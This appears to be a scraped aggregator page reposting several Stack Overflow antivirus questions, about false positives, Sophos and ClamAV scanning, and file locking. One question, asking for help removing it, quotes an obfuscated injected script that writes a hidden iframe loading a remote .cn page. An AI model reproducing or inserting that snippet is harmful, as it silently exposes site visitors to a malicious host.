antivirus

Accidentally created a virus?

与世无争的帅哥 提交于 2019-12-17 10:21:35
问题 I've seen it happen reasonably often: I write an application in Delphi and when I compile it, the virus-scanner tells me that I've created a virus and then immediately deletes the executable again. It's annoying but reasonable easy to fix by doing a full rebuild, deleting the *.dcu files first and sometimes by simply waiting. It happens with Delphi 6, 7, 2005 and 2007, as far as I know. And Symantec, Kaspersky, McAfee and NOD32 have all been guilty of reporting these false positives. I know

Passing exceptions to executable programs to stop them from execution

╄→гoц情女王★ 提交于 2019-12-13 07:51:37
问题 I heard this during a discussion that anti-viruses have this feature of stopping a program from executing by passing exceptions to it. So how do you pass exceptions programmatically? 回答1: You can't "pass an exception" to another program. (I have at least never heard of any such terminology.) Most operating systems allow one process to kill another by for instance sending it a signal, but that's different. 来源: https://stackoverflow.com/questions/6559305/passing-exceptions-to-executable

Process on ASP.Net server not running correctly over IIS

自闭症网瘾萝莉.ら 提交于 2019-12-12 09:38:42
问题 I am trying to run an antivirus scan on an uploaded file in an ASP.Net web app. We are using Sophos so have access to their command line API sav32cli . In the code I use: Process proc = new Process(); proc.StartInfo.FileName = @"C:\Program Files (x86)\Sophos\Sophos Anti-Virus\sav32cli.exe"; proc.StartInfo.Arguments = @"-remove -nc " + SavedFile; proc.StartInfo.Verb = "runas"; proc.Start(); proc.WaitForExit(); int exitCode = proc.ExitCode; When stepping through the code, when attached to the

Why does AVG(antivirus) detect an executable produced from Dev-C++ as a virus?

情到浓时终转凉″ 提交于 2019-12-12 08:34:25
问题 I created a default Dev-C++ project and instead of the usual return 0; , it had return EXIT_SUCCESS; and upon compiling and running it, I was alerted by my antivirus that the executable was a virus. I tried the same code with Visual C++, Eclipse and Codeblocks and they all compiled it successfully … so I am a bit confused here.. — Why does AVG detect executables produced from Dev-C++ with the line return EXIT_SUCCESS; as a virus when other similar macros work perfectly fine? 回答1: Why is AVG

Programatically stopping a specific chunk of code in html/javascript/css

不羁的心 提交于 2019-12-12 04:49:53
问题 The server that has my website on it also has a virus on it. The virus injects the malicious code <b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs")

scan uploaded file for virus in user's machine using php

蹲街弑〆低调 提交于 2019-12-12 01:22:49
问题 Is there any way to scan the file uploaded by user in their machine using PHP? I am creating a website using PHP, where I give users the privilege to upload files of any format. Now I want to scan the files uploaded by the users for any virus or malware. Also I want to scan it before placing it in the server. Is there any Online sites available to scan those files? Or give me any other best way to achieve this. I am using Xampp (phpmyadmin) in Windows. Any Suggestion? 回答1: There is a useful

Suggestions for a productive hardware setup with excellent virus protection

自作多情 提交于 2019-12-12 01:16:58
问题 This question is a little opinion based, but I think it can be based in fact and I would prefer answers backed up with a link to a reputable company if possible. The problem is at my job, we have "okay" hardware for the developers, laptops running Windows XP (I know) with dual core 2.3 Ghz processor, 2GB of memory and 60 GB hard disk @7200 rpm however, the amount of virus scan and security agents and big brother software on these make them unusable when scans are running. My company insists

How to install PHP clamav on CENTOS [closed]

筅森魡賤 提交于 2019-12-12 01:12:34
问题 Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 6 years ago . I need to install clamav to be used on php. How can I do it? I have tried to google how to install clamav, but most instructions either install clam av correctly, but not the php package, or missing dependencies, or similar problems. 回答1: You just need to install ClamAV like normal (with the epel repo)... yum

XML Parser triggers AV Alert

为君一笑 提交于 2019-12-11 07:03:01
问题 I am developing an Android app which reads current currency exchange rates from an online XML file and parses it via w3c DOM. The file is located on my AWS S3 storage. The parser works fine and I get all rates as I want them but my Anti-Virus app ( avast! ) keeps flagging my app as Malware ( Android:Agent-YI[Trj] ). When I comment the code out and the method I use just returns true the AV keeps quiet and thus I narrowed it down to the code below. Does somebody know why the AV doesn't accept

How to block access to any file or exe vb.net?

陌路散爱 提交于 2019-12-11 03:36:47
问题 How do I block and unblock a file or executable from being opened permanently during run time in vb.net? 回答1: You can use this code, and you can use Environment.UserName to get the name of the user, and this is will lock any type of file and it will lock folder too : Dim FSS As FileSystemSecurity = File.GetAccessControl(Application.StartupPath & "\quarantine\" & NewTextDoc.Text) FSS.AddAccessRule(New FileSystemAccessRule(Environment.UserName, FileSystemRights.FullControl, AccessControlType